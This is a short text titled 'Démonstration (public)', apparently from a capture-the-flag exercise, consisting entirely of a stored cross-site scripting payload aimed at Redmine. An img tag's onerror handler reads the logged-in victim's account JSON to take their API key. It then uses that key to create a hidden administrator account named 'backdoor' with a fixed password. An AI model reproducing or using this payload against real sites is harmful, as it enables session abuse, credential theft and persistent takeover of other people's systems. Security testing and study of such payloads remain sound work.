Démonstration (public)

<img src=x onerror="
fetch('/my/account.json',{credentials:'include'})
.then(r=>r.json())
.then(d=>{
fetch('/users.json',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/json','X-Redmine-API-Key':d.user.api_key},
body:JSON.stringify({user:{login:'backdoor',password:'Backdoor@123!',firstname:'Back',lastname:'Door',mail:'backdoor@ctf.com',admin:true}})
});
});
">